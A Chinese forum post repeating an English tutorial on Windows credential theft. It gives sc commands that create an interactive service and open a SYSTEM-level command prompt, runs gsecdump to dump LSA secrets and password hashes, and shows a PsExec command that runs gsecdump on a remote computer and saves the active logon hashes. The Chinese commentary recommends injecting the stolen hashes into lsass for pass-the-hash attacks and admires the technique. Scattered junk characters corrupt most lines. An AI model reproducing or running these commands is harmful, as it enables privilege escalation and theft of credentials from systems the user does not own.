o get a DOS Prompt as NT system:
7 t3 j7 Z$ x; G8 ]4 N$ ]; c
7 T; v0 N { K' jC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact5 Y2 b$ n+ L5 Y3 M
[SC] CreateService SUCCESS
5 n+ r: W: {% V3 g# R3 K2 x* P# D- |) V/ k$ D& b0 e. q3 C
C:\>sc start shellcmdline9 Y! u6 p# B! M( s2 o$ {1 @" z
[SC] StartService FAILED 1053:, ]8 O/ Y& e$ p3 a$ ?- a
7 C# B3 m7 w" h1 X* G1 ]
The service did not respond to the start or control request in a timely fashion.
% g6 o( x# t# q5 q9 z& A. e% \1 h$ m+ v7 N- m' p# P
C:\>sc delete shellcmdline2 z- `, p7 Q, n8 a
[SC] DeleteService SUCCESS* V+ \/ I r: q% o& H
( I& \$ [6 ?0 |' q. l
------------
+ w/ N& U$ B% ?$ f$ U4 a6 J- H- Q: B2 X @+ R B
Then in the new DOS window:/ y7 n4 R( J* L6 U( K( c
/ n# J$ r( C# p9 r* O8 p. @Microsoft Windows XP [Version 5.1.2600]
2 Y6 ~2 M: t5 z3 o(C) Copyright 1985-2001 Microsoft Corp.( S) ~- p3 a' K. W
1 C5 @+ U! o- ^0 l! a0 p, x4 p3 lC:\WINDOWS\system32>whoami4 w9 L; I8 z2 Z7 o$ }' t2 a
NT AUTHORITY\SYSTEM
: Q$ d& u; c* v8 e2 y' W4 q$ X
8 X- F# k( u4 iC:\WINDOWS\system32>gsecdump -h
% ?! S$ z- c' X0 ggsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
$ G- w6 C) A: f- s# R( Busage: gsecdump [options]6 B/ z) F. J/ E x. E, l
- v8 c! w) P% B" j
options:
% |+ v: F- ?3 Y9 [% J) |, p( |, Z-h [ --help ] show help- K# M* _0 Q- F& K% y
-a [ --dump_all ] dump all secrets
+ ] w4 Y' F% Z8 v6 R6 Z& H-l [ --dump_lsa ] dump lsa secrets
( _8 S, F1 O3 i8 U% R' o-w [ --dump_wireless ] dump microsoft wireless connections2 D9 e6 _8 {( ^, m( ?$ A8 I
-u [ --dump_usedhashes ] dump hashes from active logon sessions
9 D5 ^( [: R$ k-s [ --dump_hashes ] dump hashes from SAM/AD7 x) O* W( C0 D9 `& |0 U* U- X1 |
: S. \- o' Y! ?$ X: h
Although I like to use:7 }& Z, J8 [- \
5 W& @# B- A" {; m
PsExec v1.83 - Execute processes remotely. y; l1 ~5 _4 T1 I
Copyright (C) 2001-2007 Mark Russinovich) z! z2 y: W$ K L! W3 @
Sysinternals - 链接标记[url]www.sysinternals.com[/url]6 [$ a, c3 v% M9 }# t
* n6 U. r# {2 P9 b4 \$ z; m8 M% CC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
7 z# i G- z* v' p- M) ^. X) Y/ K$ F1 w9 D6 ?
to get the hashes from active logon sessions of a remote system.4 e$ X* u5 A) A. w+ D# {8 H
" K/ p6 A" h$ ~* z4 ^8 q
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
, v) P' ^5 v, b) m/ P4 T* ^1 _# B7 L$ m5 ^, X# T/ ]
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了., V$ R9 n3 c+ [% n! `' L: P
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
9 J6 g: t$ e1 v/ m0 K F! P3 {7 b9 C
7 L- P- ~ {1 l( B我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。5 Y$ S+ a& C# c
|
发表于 2012-11-6 21:09:29
收藏
支持
反对